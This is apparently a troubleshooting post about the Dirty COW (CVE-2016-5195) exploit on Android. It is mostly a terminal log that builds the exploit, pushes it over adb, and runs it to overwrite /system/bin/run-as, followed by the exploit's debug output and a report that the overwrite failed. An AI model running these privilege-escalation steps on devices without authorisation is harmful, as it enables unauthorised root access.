CVE-2016-5195
CVE-2016-5195 copied to clipboard
Can't overwrite run-as executable
but Dirtycow Checker displays Your device is vulnerable
[zaoqi@zaoqi-pc CVE-2016-5195]$ make root
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=armeabi-v7a APP_PLATFORM=android-19
make[1]: Entering directory `/home/zaoqi/Android/A63/CVE-2016-5195'
[armeabi-v7a] Install : dirtycow => libs/armeabi-v7a/dirtycow
[armeabi-v7a] Install : run-as => libs/armeabi-v7a/run-as
make[1]: Leaving directory `/home/zaoqi/Android/A63/CVE-2016-5195'
adb push libs/armeabi-v7a/dirtycow /data/local/tmp/dcow
libs/armeabi-v7a/dirtycow: 1 file pushed. 2.1 MB/s (9892 bytes in 0.004s)
adb shell 'chmod 777 /data/local/tmp/dcow'
adb shell 'chmod 777 /data/local/tmp/dcow'
adb push libs/armeabi-v7a/run-as /data/local/tmp/run-as
libs/armeabi-v7a/run-as: 1 file pushed. 2.1 MB/s (9892 bytes in 0.004s)
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (9892) and destination file size (9440) differ
corruption?
[*] size 9892
[*] mmap 0x40111000
[*] currently 0x40111000=464c457f
[*] using /proc/self/mem method
[*] madvise = 0x40111000 9892
[*] madvise = 0 10257869
[*] /proc/self/mem 820651444 951333
[*] exploited 0 0x40111000=464c457f
[zaoqi@zaoqi-pc CVE-2016-5195]$